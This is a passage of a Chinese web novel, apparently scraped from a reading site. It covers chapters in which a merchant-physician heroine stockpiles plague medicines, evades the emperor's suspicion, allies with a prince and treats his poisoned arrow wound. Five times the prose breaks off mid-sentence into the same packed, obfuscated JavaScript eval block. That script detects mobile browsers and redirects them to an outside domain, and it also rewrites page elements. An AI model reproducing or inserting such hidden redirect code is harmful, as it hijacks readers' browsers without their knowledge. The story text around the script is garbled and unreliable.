静室已是一片狼藉。半张床榻焦黑,地上满是水渍灰烬,最刺眼的是那扇价值不菲的紫檀屏风,被浓烟熏得乌黑,精美的雕花模糊难辨,几乎毁了。陈墨的书籍也烧毁了好几册。 陈墨面如死灰,看着眼前景象,身体微微发抖,对着姜绾歌就要屈膝下拜:“姜老板!学生…学生罪该万死!一时不慎……” 姜绾歌眼疾手快,一把托住他的手臂,没让他跪下去。她深吸一口气,压下心头的恼火。屏风毁了是损失,但这人还在,他的前途才是更大的赌注。此刻发怒责骂,只会让这书生惊惧崩溃,于事无补。 她环视一周,目光最后落在那扇焦黑的屏风上,语气沉静,却带着无形的压力:“陈公子,这屏风,乃上好紫檀,名家手笔,市价不下八十两纹银。” 八十两!陈墨如遭雷击,脸色瞬间惨白如纸,嘴唇哆嗦着说不出一个字。这笔钱对他而言,是天文数字。 看着他的绝望,姜绾歌话锋一转,声音放缓,却更显分量:“不过,屏风是死物,人却是活的。公子前程,又岂是区区八十两可衡量?” 陈墨猛地抬头,眼中燃起一丝微弱的希望。 “之前的约定,不变。”姜绾歌看着他,眼神锐利,“但我需再添一条:无论今科中与不中,公子将来若入仕途,需记得今日醉仙楼这一方静室,记得我姜绾歌曾助你一臂之力。他日若我需要公子在朝中略尽绵薄、传递些无关痛痒的消息,望公子莫要推辞。这,便算是抵了这屏风之损,如何?” 条件更重了,从引荐变成了更深层次的“内应”关系。但比起立刻背负八十两的巨债,这给了陈墨喘息和希望的空间。他明白,这是姜绾歌在给他台阶,也是更深的捆绑。他别无选择,也看到了对方投资到底的决心。 他挺直脊背,深深一揖,声音带着劫后余生的沙哑与决然:“姜老板再造之恩,学生没齿难忘!今日之诺,字字千金,学生铭刻肺腑,绝不敢负!” “记住你的话,也记住今晚的教训。做学问要专注,更要谨慎。星星之火,亦可燎原。”姜绾歌语气严肃地告诫,随即吩咐阿福,“收拾隔壁房间给陈公子暂住。这间屋子,尽快修缮。” 处理完残局,姜绾歌独自踱至醉仙楼后院。夜凉如水,拂过她微蹙的眉头。 顾铭轩在会员宴上的举动,将她推到了风口浪尖;顾云霁的步步紧逼,也让她感到如芒在背。这京城的水太深,单靠奇技淫巧和左右逢源,终究是浮萍无根。她需要真正属于自己的力量,不依附于任何一方权贵的根基。 陈墨的出现,像黑夜中的一点星火。他有才华,有抱负,出身清寒意味着可塑性更强,也更可能忠于提携他的人。今晚这场火,虽是意外,却也让她对陈墨的掌控更深了一层。一个欠着她天大恩情与债务的未来官员,其忠诚度远非寻常关系可比。 三楼新安置的静室里,烛光重新亮起,不久,那熟悉的、带着一丝后怕却更显坚定的读书声,再次隐隐传来,穿透夜色。 姜绾歌驻足聆听片刻,紧蹙的眉头渐渐舒展开,嘴角掠过一丝极淡的笑意。 这步棋,险是险了点,但值得一搏。陈墨只是开始,她需要更多这样有潜力、可控的“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16080720|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种子”,悄然埋下,静待发芽。在这权力交织的漩涡里,唯有培植起自己的根系,才能立于不败之地。 夜风送来远处的更鼓声。姜绾歌最后望了一眼那窗棂透出的暖黄灯光,转身,步履沉稳地走回灯火通明的前楼。 明日,又是新的棋局。 姜绾歌正准备就寝,窗外极细微的“嚓”一声轻响,让她瞬间警觉。她屏住呼吸,悄无声息地挪到窗边,借着月色,只见一个模糊的黑影正伏在对面院墙上,一动不动地观察着她的院落方向。 “又是探子…”她心下一沉,迅速而无声地熄灭了房中唯一的光源——那盏油灯。 黑暗瞬间将她吞没,只有心跳声在寂静中格外清晰。 看来,她的一举一动,确实时刻处于某些人的监视之下。 培养陈墨这样的暗棋,必须更加谨慎,绝不能露出丝毫破绽。 那黑影在墙上停留了约莫半盏茶的功夫,似乎在确认没有异常动静,这才如同融入夜色般,悄无声息地滑下墙头,消失无踪。 姜绾歌在浓稠的黑暗中静立了许久,直到确信危险暂时解除,才重新点燃油灯。 昏黄的光线映着她冷肃的眉眼。 “果然步步惊心。”她低语,声音里没有愤怒,只有冰冷的算计和更深的警惕。 无论这探子来自哪一方,都提醒着她处境之险。 在这个漩涡中心,每一步都必须如履薄冰,深思熟虑。陈墨的投资,仅仅是漫长布局的第一步。 七月初,京城被连绵的阴雨笼罩,空气湿漉漉的,带着一股挥之不去的霉味。 姜绾歌坐在杏林堂后院干燥的小屋内,面前摊开一本在旧书肆淘来的古籍——《农时杂记》。 泛黄的纸页上,一行行蝇头小楷记录着前朝旧事:“七月霪雨经旬,八月江河暴涨,水退则瘟气横行,十室九病…” 她的指尖划过这句记载,眉头越蹙越紧。 第195章 顾铭轩的质问 窗外淅淅沥沥的雨声,仿佛在应和着书中的警示。 若这古籍所载不虚,眼前这场连绵不绝的阴雨,极可能是更大灾祸的前兆——水灾,以及紧随其后的瘟疫。 “不能仅凭古书臆断。”她合上书册,立刻唤来石头,“石头,你立刻去城外,沿着永定河、通惠河几条水道走一趟,仔细查看水位。” 石头不解:“姐姐,看水位做什么?” “别问,仔细做便是。”姜绾歌语气不容置疑,“记下现在的水位刻度,最好在岸边做下不易被水冲掉的标记。每日都要去查看一次,水位若有明显变化,无论涨落,立刻回来告诉我!要快!” “是!姐姐放心!”石头见她说得郑重,不敢怠慢,应声便冲进了雨幕中。 接下来的日子,姜绾歌一面密切关注着雨势和石头带回的水位消息,一面开始不动声色地布局。 她吩咐阿福:“阿福,分几批、从不同药行,陆续采购艾草、苍术、板蓝根、贯众这几味药材。量要大,但动作要分散,别引人注目。采购回来的,全部存入杏林堂最干燥的地窖深处。” 阿福看着清单,有些疑惑:“东家,这些多是防疫祛湿的药材,如今并非时疫季节,囤这么多……” “未雨绸缪罢了。”姜绾歌打断他,语气平静却带着不容置疑的力量,“药材存放得当,不会变质。先备着,有备无患。记住,采购务必分散,别让人看出我们在大宗囤积。” 与此同时,醉仙楼的后院也忙碌起来。趁着难得的雨歇间隙,伙计们将大量鲜鱼剖开晾晒,大缸里腌满了层层叠叠的猪肉。整个后院挂满了鱼干、腊肉,弥漫着浓郁的咸香。 秋姨娘路过,看得惊奇:“绾歌妹妹,你这阵仗,倒像是要预备过冬了?还是醉仙楼要改行做干货铺子?” 姜绾歌微微一笑,找了个更易被接受的理由:“秋姐姐说笑了。只是看这雨下得没完没了,担心秋粮收成。若真有个闪失,粮价、菜价怕是要涨。咱们酒楼用度大,提前备些耐储存的干货、腌货,总归能省些成本,也能应付不时之需。” 秋姨娘点头:“倒也是你想得长远。这天气确实古怪,往年也没见七月里下这么久的雨。” 姜绾歌表面应对着,心思却全在石头每日的回报上。水位的变化,是验证古书预言的关键。 这天傍晚,石头浑身湿透、气喘吁吁地跑回来,脸色发白:“姐姐!河水涨得厉害!比昨天又高了一大截,快…快平到河堤顶了!水又浑又急,打着旋儿往下冲!” “接近堤顶了?!”姜绾歌心头剧震。古籍的警示,石头亲眼所见的险情,两相印证,一场大水的可能性已极高。 “阿福!”她立刻下令,声音带着紧迫感,“采购速度再加快!艾草、苍术、板蓝根,能收多少收多少!价钱稍高些也可接受,但务必低调,分散来源!” 然而,如此规模的物资调动,终究难以完全瞒过有心人的眼睛。几天后,一个熟悉的身影带着宫里的气息出现在杏林堂门口——正是皇帝顾铭轩身边的心腹太监,刘公公。 刘公公脸上挂着惯常的、仿佛用尺子量好的笑容:“姜大夫安好。奴才奉陛下口谕,特来问问。听闻您近来在市面上大量收拢防疫药材?不知…是何缘故啊?” 姜绾歌心中一凛,知道顾铭轩的耳目已经察觉。她面上不动声色,语气如常:“刘公公有礼。杏林堂本就是药铺,定期补充药材库存是再正常不过的营生。近来雨水多,此类药材消耗也快些,故而多备了些货。怎么,这…也惊动陛下了?” “哦?只是寻常补货?”刘公公笑容不变,眼神却锐利了几分,“可据奴才所知,您这‘补货’的量,似乎远超寻常呢。陛下也是关心,怕市面上有什么不好的风声,姜大夫得了消息,却未及时上达天听?” 这话绵里藏针。姜绾歌心念电转,依旧坚持:“公公说笑了。哪有什么风声?不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16090984|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是商人逐利,觉得这些药材存放得住,日后或许能小赚一笔,便多囤了些。实在不敢劳动陛下挂心。” 刘公公深深看了她一眼,笑容依旧:“原来如此。姜大夫是生意人,自然精打细算。那奴才便如此回禀陛下了。”他躬身告退,但那离去的背影,却让姜绾歌感到一股无形的压力。 预感很快成真。当天下午,顾铭轩便微服而至。 他踏入杏林堂后院的小屋时,身上还带着室外的湿冷气息,脸色比窗外的天色还要阴沉几分。 “绾绾,”他开门见山,目光如炬,“朕听闻,你不仅在囤积防疫药材,连米粮肉干也在大肆收储?告诉朕,你究竟在做什么?”帝王的威压,随着他的话语弥漫开来。 姜绾歌稳住心神,将准备好的说辞再次搬出:“陛下,杏林堂需药材,醉仙楼需食材,提前备货,稳定经营,仅此而已。 商人趋利,见阴雨连绵,恐影响秋收导致物价波动,故而多备些耐储之物,也是常理。” “常理?”顾铭轩向前一步,目光紧锁着她,带着审视和一丝不易察觉的失望,“囤积艾草、苍术、板蓝根…这也是醉仙楼做菜所需?绾绾,你当朕是傻子吗?这些药材用途为何,你我心知肚明!告诉朕,你是否预知了什么?关于…这场雨?”他指向窗外依旧淅沥的天空。 姜绾歌指尖微凉,知道自己的行为已引起他强烈的猜疑。 但此刻,她绝不能说出那本《农时杂记》和她的推断。一则证据尚不充分,二则妄言天象灾异,极易被扣上“妖言惑众”的帽子,尤其在帝王疑心已起之时。 她迎上顾铭轩锐利的目光,语气带着一丝被误解的委屈和坚持:“陛下明鉴!臣女一介商贾,岂能预知天时?不过是凭着多年行商的一点经验,做些力所能及的防备罢了。若陛下觉得臣女所为不妥,有囤积居奇之嫌,妾身…立刻停止便是。” 她以退为进,将问题抛回给顾铭轩。 第196章 顾云霁帮忙 顾铭轩凝视她良久,那双深邃的眼眸里,曾经的温情已被帝王的猜忌和威严取代。 最终,他缓缓吐出一口气,声音低沉而冰冷:“好,很好。姜绾歌,记住你今日所言。但愿…你的‘经验’之谈,不会给京城带来不必要的恐慌。”他不再唤她“绾绾”,而是连名带姓。 语毕,他不再多言,拂袖转身,消失在雨幕之中。 门关上的瞬间,姜绾歌仿佛被抽走了力气,缓缓跌坐在椅子上。 顾铭轩最后那冰冷的眼神和话语,如同一块巨石压在她心头。 皇帝的猜疑如同一把悬顶之剑,她知道,自己这步“未雨绸缪”的棋,风险远比想象中更大。 但箭已离弦,她只能赌下去,并祈祷自己的判断是对的。 窗外雨声渐密,敲打着屋檐,更添几分烦闷。 姜绾歌正独自在后院仓库清点药材,心头盘算着顾铭轩的猜疑与潜在的风险,忽闻身后传来沉稳的脚步声,踩在湿漉漉的青石板上。 她警觉回头,雨幕中,一人撑伞而来,伞沿微抬,露出顾云霁那张在昏黄灯笼下更显深邃的脸。 他收伞步入檐下,抖落衣袍上的水珠,目光扫过仓库里堆积的物资,最后落在姜绾歌身上,语气听不出喜怒:“姜老板好兴致,雨夜还在盘点家当。” “王爷?”姜绾歌心中微凛,面上却维持着镇定,欠身行礼,“雨大风急,王爷怎会此时前来?可是醉仙楼有何招待不周?” 顾云霁没有立刻回答,只是深深看了她一眼,那双桃花眼此刻锐利如刀,仿佛能穿透表象:“本王是来问姜老板一个问题:你在赌天时,赌的是一场水患之后的瘟疫,对是不对?” 这话如同惊雷,直劈姜绾歌心防!她瞳孔骤然一缩,强行压下翻涌的惊骇。他怎么会知道?难道自己身边也有他的眼线? “王爷此言何意?妾身不过是个商人,囤些货物以备不时之需,怎敢妄测天意?”她稳住心神,试图周旋。 “不必在本王面前遮掩。”顾云霁向前一步,声音不高,却带着无形的压力,“《农时杂记》,东市书肆,三天前。城郊永定河、通惠河,水位每日一测,记录汛线…姜老板,这‘不时之需’,未免准备得太有章法了?” 他精准地指出了她的信息来源和行动,一丝不差。 姜绾歌的后背瞬间沁出一层冷汗。顾云霁的情报网,远比她想象的更无孔不入!她所有的行动,在他眼中恐怕都无所遁形。 “王爷既然都查到了,又何必来问妾身?”她索性不再否认,语气带着一丝被看透的无奈,却也隐含试探。 顾云霁看着她强作镇定的模样,眼神复杂,有探究,也有一丝不易察觉的激赏:“姜绾歌,你的胆识确实让本王刮目相看。敢凭一卷古籍和实地观测就下如此重注,这份魄力,满京城也找不出几个。” 他话锋一转,语气陡然变得冷峻,“但你想过没有,若你赌输了,倾家荡产尚在其次;若你赌赢了,成功预判天灾并囤积居奇,巨利当前,你一个无权无势的商贾,如何守得住?届时,陛下会如何看你?朝堂上下、各方势力,又会如何待你?‘奇货可居’,亦是‘怀璧其罪’!” 这番话如同冰水浇头,让姜绾歌瞬间清醒。 她之前的盘算集中在如何“赌赢”和应对顾铭轩的猜疑上,却忽略了最致命的后果——巨大的成功本身就是最大的危险!一个能精准预测天灾的商人,在帝王和权贵眼中,是奇才,更是必须掌控或除去的威胁! 届时,别说获利,恐怕连自由和性命都难保。 寒意从脚底升起,她第一次清晰地感受到这个“赌局”背后真正的万丈深渊。她攥紧了袖中的手指,指甲几乎嵌进掌心。 “王爷…说的是。”她的声音有些干涩,带着一丝后怕,“是妾身思虑不周。那依王爷之见,妾身现在…该如何是好?停手,还来得及吗?” “停手?”顾云霁微微摇头,目光扫过仓库里堆积如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16090985|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山的药材粮米,“箭已在弦,你囤下如此巨量的物资,早已引人注目。此刻收手,只会坐实你‘图谋不轨’或‘消息灵通’的嫌疑,更增猜忌。进退维谷,你已无退路。” 绝望感如潮水般涌来。姜绾歌感到一阵窒息,难道真如他所言,这是一条死路? 就在她心沉谷底之际,顾云霁低沉的声音再次响起,如同在黑暗中投下一线微光:“倒也不是全无生机。若你愿意,本王…可与你共担此局。” 姜绾歌猛地抬头,难以置信地看着他:“王爷…要帮我?为何?”天上不会掉馅饼,尤其对方是心思难测的云霁王。 顾云霁迎着她的目光,神色坦然,仿佛在谈论一桩寻常生意:“原因有三。其一,本王亦觉你推断有理,这场雨灾,十有**会发生。提前准备物资,于国于民并非坏事。” “其二,本王欣赏你的眼光与魄力,此局若成,于本王亦有利可图。其三......” 他顿了顿,眼神深了些许,“本王在京中经营多年,根基比你深厚。若由本王出面,以王府名义同步采购、储备部分物资,既能分担风险,避免你一人成为众矢之的;真到灾疫爆发之时,也能以‘体恤民情、未雨绸缪’之名行事,阻力会小得多,更不会让你独担‘妖言惑众’或‘囤积居奇’的污名。这是双赢之策。” 姜绾歌心脏狂跳。顾云霁的分析一针见血! 他的介入,不仅能分摊她面临的巨大**风险,更能利用他的身份地位,将原本可能招致杀身之祸的行为,转化为“忧国忧民”的正当之举!这简直是绝境中的救命稻草! “王爷…此言当真?”她声音带着一丝不易察觉的颤抖,是激动,也是警惕。 “君无戏言。”顾云霁颔首,“具体如何操作,你我需细细商议。本王可负责粮食、部分大宗药材的采买储备,以王府名库存放。你手中已有的防疫药材,则需更隐秘地保管好,作为关键时刻的底牌。双方资源互补,信息互通。” 第197章 顾云霁中箭 两人就在这雨声淅沥的仓库檐下,低声敲定了合作的初步框架。 临行前,顾云霁再次提醒,神色凝重:“还有一事,你需格外留意:户部已注意到市面上药材粮米流向异常,尤其你杏林堂、醉仙楼动作不小,恐已进入他们视线。户部掌钱粮调度,最忌有人扰乱市价。” “若他们派人查问,务必咬定是正常经营储备,应对灾年可能的物价波动,万不可露出任何与‘预测天灾’相关的口风。” “户部…”姜绾歌心头一紧,这又是一个麻烦,“我明白了,定会小心应对。” 此时雨势稍歇,但仍未停。顾云霁拿起伞准备离开。 “夜雨寒凉,王爷为我之事奔波,若不嫌弃,容我熬碗姜汤为王爷驱驱寒气?”姜绾歌出声唤住他 顾云霁看了看依旧缠绵的雨丝,略一沉吟,点头应允:“有劳。” 姜绾歌亲自到小厨房,细心挑选了老姜,切片熬煮,又加入红糖、桂圆,很快端来一碗热气腾腾、香气四溢的姜汤。 “请用。”她双手奉上。 顾云霁接过碗,慢慢啜饮。 滚烫的汤水带着姜的辛辣、糖的甘甜和桂圆的温润,一路暖入肺腑,驱散了雨夜的湿冷。 他抬眼看向姜绾歌,昏黄灯光下,她专注的神情柔和了几分平日的锋芒。 “姜大夫果然妙手,一碗汤也调得如此熨帖。”他赞道,语气温和了些。 “医者本分,王爷过誉了。”姜绾歌微微垂眸。 看着她低眉顺眼的模样,顾云霁眼中掠过一丝极淡的笑意,忽然问道:“姜绾歌,你可知本王为何甘愿趟这浑水?” 姜绾歌抬眸,等待下文。 顾云霁放下空碗,目光如窗外夜色般深邃:“因为本王欣赏敢于在绝境中觅生机的人。更因为…你值得这份冒险。” 他不再解释,撑开伞步入雨中,“保重,静待时机。这几日,务必谨慎。” 望着那挺拔的身影融入雨幕,姜绾歌心绪翻腾。 顾云霁的援手无疑是雪中送炭,但“值得冒险”四字背后,又藏着多少她尚未看清的图谋?这世间,从未有无缘无故的恩惠。 窗外,雨声又渐渐大了起来,沉闷的雷声在云层深处滚动,仿佛预示着即将到来的惊涛骇浪。 姜绾歌站在窗边,凝望着漆黑如墨的夜空。 这场以天时为注的豪赌,筹码已押下,盟友已入局 七月中旬的夜晚,京城刚刚经历了一场暴雨,空气中还弥漫着潮湿的泥土味。 姜绾歌正在杏林堂后院的密室里整理囤积的药材,突然听到外面传来一阵急促的脚步声,紧接着是重物落地的闷响。 她警觉地停下手中的动作,屏息倾听。院子里传来压抑的呻吟声,听起来像是有人受了重伤。 什么人?她从药箱里摸出一把锋利的手术刀,小心翼翼地走向后门。 月光下,院子里躺着一个人,身上的衣服已经被鲜血染红,整个人奄奄一息。姜绾歌借着微弱的月光仔细一看,心头猛地一跳——是顾云霁! 王爷?她连忙扔掉手术刀,冲过去查看他的伤势。 顾云霁脸色苍白如纸,嘴唇毫无血色,胸前插着一支黑色的箭矢,箭头已经深深没入肌肉。更要命的是,箭矢周围的皮肤呈现出诡异的紫黑色,显然是**了。 **!这是什么鬼箭?姜绾歌看到那支箭矢,心中大骇。箭头是特制的,呈三棱形,上面还涂着黑色的毒液,一看就不是普通的暗器。 顾云霁虚弱地睁开眼,看到是她,艰难地扯出一个苦笑:又...又麻烦你了... 少废话!姜绾歌没好气地瞪他,怎么伤成这样?什么人下的毒手? 执行...任务时...遇到埋伏,顾云霁断断续续地说,箭头有毒...应该是...黑曼蛇毒... 黑曼蛇毒!姜绾歌倒吸了一口凉气。这是极其罕见的剧毒,产自南疆深山,见血封喉,无药可解。顾云霁能撑到现在已经是奇迹了。 别说话了,保存体力!她立刻进入医者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095272|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 状态,大脑快速运转着救治方案,阿福!石头!都给我滚过来! 阿福和石头听到呼喊,匆忙从前院跑过来。看到血泊中的顾云霁,两人都吓了一跳。 别愣着!快去烧水,越多越好!姜绾歌一边指挥一边开始准备手术器具,还有,把我的手术刀全部拿来,用开水烫过! 是!东家!两人立刻分头行动。 姜绾歌迅速将顾云霁抬到后院的一间空房里,这里采光好,而且相对隐蔽。她点亮所有的油灯,整间房子瞬间亮如白昼。 王爷,接下来的过程会很痛,你要挺住,她一边说一边撕开顾云霁胸前的衣物,露出那支深深插入的箭矢,千万别晕过去,一旦昏迷,毒性扩散更快! 顾云霁虚弱地点点头,眼中闪着坚定的光芒。 姜绾歌首先检查箭矢的插入角度和深度。箭头斜着刺入,避开了心脏要害,但已经深入胸腔,而且毒液正沿着血管向心脏蔓延。 妈的,这箭射得真够狠的,她咬牙切齿,差一寸就射中心脏了! 阿福端来热水,石头拿来消毒过的手术刀。姜绾歌将双手在热水中仔细清洗,然后拿起一瓶烧酒。 这会很疼,忍着点,她将烧酒倒在顾云霁的伤口上。 嘶——顾云霁疼得倒吸一口凉气,额头上瞬间渗出豆大的汗珠,但他咬紧牙关,硬是没有叫出声来。 烧酒冲洗掉表面的血污,露出了真正的伤口。姜绾歌用手术刀小心翼翼地扩大创口,她需要把箭头完整取出,任何一个碎片留在体内都可能致命。 毒已经扩散了,她一边操作一边观察,你看,这一圈的肌肉都变黑了,必须全部剜掉。 说着,她举起锋利的手术刀,开始剜除坏死的组织。黑色的血液不断涌出,散发着腥臭的味道。 闭嘴!总来添乱!当顾云霁想要说话时,她厉声制止,现在给我老实躺着,别动! 虽然嘴上凶巴巴的,但她手下的动作却极其轻柔,每一刀都精准无比,尽量减少对正常组织的损伤。 第198章 刘公公 剜除坏死组织后,姜绾歌发现情况比预想的还要严重。毒液已经侵入血管,正沿着静脉向心脏蔓延。如果不及时处理,顾云霁很快就会毒发身亡。 石头,把我的金针拿来!她急声喊道。 石头连忙递过针盒。姜绾歌取出几根金针,在火上消毒后,开始在顾云霁胸口的几个关键穴位施针。 这是封穴之法,能延缓毒性扩散,她一边施针一边解释,但只能争取时间,要想彻底解毒,还得用药。 金针刺入穴位后,顾云霁的脸色稍微好了一些,但依然十分虚弱。 接下来是最关键的用药环节。姜绾歌从药箱里取出三七粉和南洋血竭,这两种药材都有强大的止血和解毒功效,是她的独门秘方。 这是我最珍贵的药材,她将两种药粉混合,三七能止血生肌,血竭能解毒排淤,配合使用效果最佳。 调好药粉后,她小心翼翼地敷在伤口上,然后用干净的白布包扎。整个过程持续了近两个时辰,等一切处理完毕,姜绾歌已经累得汗流浃背。 好了,暂时没有生命危险了,她擦了擦额头上的汗水,但接下来三天是关键期,一旦毒性反复,就真的没救了。 顾云霁虚弱地看着她,眼中满含感激:这次...又欠你一条命。 欠命什么的就别说了,姜绾歌别过脸去,故作不在意,诊金加倍就行。 话虽这么说,但她的语气明显软了很多。顾云霁听出了她的关切,心中涌起一阵暖流。 你累了,休息一会儿吧,他轻声说道。 谁累了?老娘铁打的身子,姜绾歌嘴硬道,但身体却诚实地瘫坐在椅子上。 连续两个时辰的高强度手术,加上精神高度紧张,她确实已经精疲力尽。不知不觉中,她竟然趴在床边睡着了。 顾云霁看着她疲惫的睡颜,心中五味杂陈。这个女人表面泼辣,实际上却有着一颗柔软的心。为了救他,她可以不顾一切,甚至不惜暴露自己的医术实力。 姜绾歌...他轻声呢喃着她的名字,眼神复杂难辨。 在他内心深处,对这个女人的感情已经悄悄发生了变化。 从最初的欣赏和利用,到现在的依恋和不舍,他自己都没有察觉到这种微妙的转变。 天色渐亮,姜绾歌在睡梦中感觉到有人在看着自己。她猛地睁开眼,正好对上顾云霁深邃的目光。 四目相对,两人都有些尴尬。空气中弥漫着一种说不清的暧昧气氛。 你...你醒了?姜绾歌连忙坐直身子,感觉怎么样?还疼吗? 好多了,顾云霁的声音还有些虚弱,但精神明显好转,多亏了你。 那是当然,也不看看老娘是谁,姜绾歌恢复了平时的泼辣劲,天下间能治黑曼蛇毒的大夫,除了我还有谁? 虽然嘴上这么说,但她心中其实也捏了一把汗。黑曼蛇毒确实凶险,如果不是她有南洋血竭这种珍稀药材,还真不一定能救得了顾云霁。 正当两人说话时,外面忽然传来急促的脚步声,紧接着是一个尖细的嗓音: 陛下听闻王爷遇险,特派御医前来探望! 这声音如同晴天霹雳!姜绾歌和顾云霁的脸色同时大变。是刘公公的声音!顾铭轩竟然知道了顾云霁受伤的消息! 快!藏起来!姜绾歌压低声音,急忙帮顾云霁披上外衣。 来不及了,顾云霁摇头,外面已经被包围了。 果然,院子里传来整齐的脚步声,显然来了不少人。刘公公的声音又响起: 王爷,陛下得知您受伤,龙心大悦...不,是龙心忧虑,特派奴才带御医前来诊治! 姜绾歌心中暗骂:龙心大悦?这刘公公说漏嘴了吧!顾铭轩听到顾云霁受伤,第一反应是高兴还是担心? 王爷可在?刘公公在门外询问。 顾云霁和姜绾歌对视一眼,都从对方眼中看到了紧张。这个时候被顾铭轩的人发现,对两人来说都不是好事。 特别是姜绾歌,她私自为顾云霁疗伤,在顾铭轩看来就是背叛。而且她刚才使用的那些珍贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095273|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药材,很多都是顾铭轩赏赐的,现在却用来救他的政敌... 怎么办?她压低声音问道。 兵来将挡,水来土掩,顾云霁强撑着坐起身,既然躲不过去,那就面对。 可是你现在这个样子...姜绾歌担心地看着他。 放心,本王还死不了,顾云霁虚弱地笑了笑,不过这次真的麻烦你了。 都这个时候了,还说什么麻烦不麻烦的,姜绾歌没好气地说,先想想怎么应付外面那些人吧。 外面的脚步声越来越近,很快就会到房门口。两人的心都提到了嗓子眼。 王爷,奴才进来了!刘公公的声音已经到了门外。 就在这千钧一发之际,姜绾歌忽然有了主意。她快速从药箱里取出几瓶药水,泼洒在房间各处,瞬间房间里弥漫起浓郁的药味。 装病!她压低声音对顾云霁说,就说你**很深,正在紧急救治! 顾云霁心领神会,立刻闭上眼睛,装出昏迷不醒的样子。 门被推开了,刘公公带着两个御医走了进来。看到房间里的情景,三人都愣住了。 只见顾云霁躺在床上,脸色苍白如纸,胸前包着厚厚的绷带,整个人看起来奄奄一息。 而姜绾歌正在床边忙碌着,手里拿着各种药瓶,像是在进行紧急抢救。 这...这是怎么回事?刘公公震惊地问道。 王爷**很深,我正在想办法解毒,姜绾歌头也不抬地说,现在是关键时刻,请不要打扰! 两个御医上前查看顾云霁的情况,发现他确实**很深,而且伤势严重。 姜大夫,王爷这是中了什么毒?其中一个御医问道。 黑曼蛇毒,姜绾歌简短地回答,极其凶险,稍有不慎就会毒发身亡。 两个御医听了,面面相觑。黑曼蛇毒他们当然知道,那是传说中的剧毒,根本无药可解。 那...那有救吗?刘公公紧张地问道。 不知道,姜绾歌摇头,我只能尽力而为。 第199章 真本事 御医离开后的第一天,姜绾歌坐在杏林堂后院的柴房里,面前围着石头、阿福、小三子、二狗,还有新收的两个小乞丐。 昏黄的油灯摇曳着,在墙壁上投下几个人影。 今天我要教你们真本事,她拍了拍桌子,做我的人,光会打架可不够,还得会动脑子! 几个孩子乖乖坐好,眼中都闪烁着好奇的光芒。 石头,你还记得李主事的事吗?姜绾歌指着桌上的一张纸,说说看,从头到尾是怎么回事? 记得!石头连忙回答,李主事抱怨上司克扣冰敬,然后姐姐您给他送醒酒汤,里面有纸条,后来他就把上司扳倒了。 对,但这只是表面,姜绾歌在纸上画了几个符号,我今天要教你们的,是怎么分析这背后的线索链。 她拿起笔,开始在纸上画图解释:第一步,冰敬被扣。这说明什么?说明上司贪心,也说明李主事有怨气。 第二步,李主事怨怼,她画了个三角符号,这个三角代表矛盾激化。有矛盾就有机会,咱们抓住这个机会推了一把。 第三步,李主事倒台后,新上任的主事是谁?她看向阿福。 是...是户部来的那个王主事?阿福不太确定地说。 错!是工部的张主事!姜绾歌没好气地说,你们打听消息都不用心!张主事是赵侍郎的人,这就是关键! 几个孩子听得一头雾水,不明白这有什么关键的。 听好了,姜绾歌继续画着符号,张主事属于赵侍郎派系,这就是第四步。那么问题来了,赵侍郎最近在干什么? 赵侍郎?石头皱眉思考,我听说他经常去城外的玄妙观烧香? 对!就是这个!姜绾歌眼中闪过一丝赞赏,赵侍郎频访玄妙观,我用方块符号来代表。 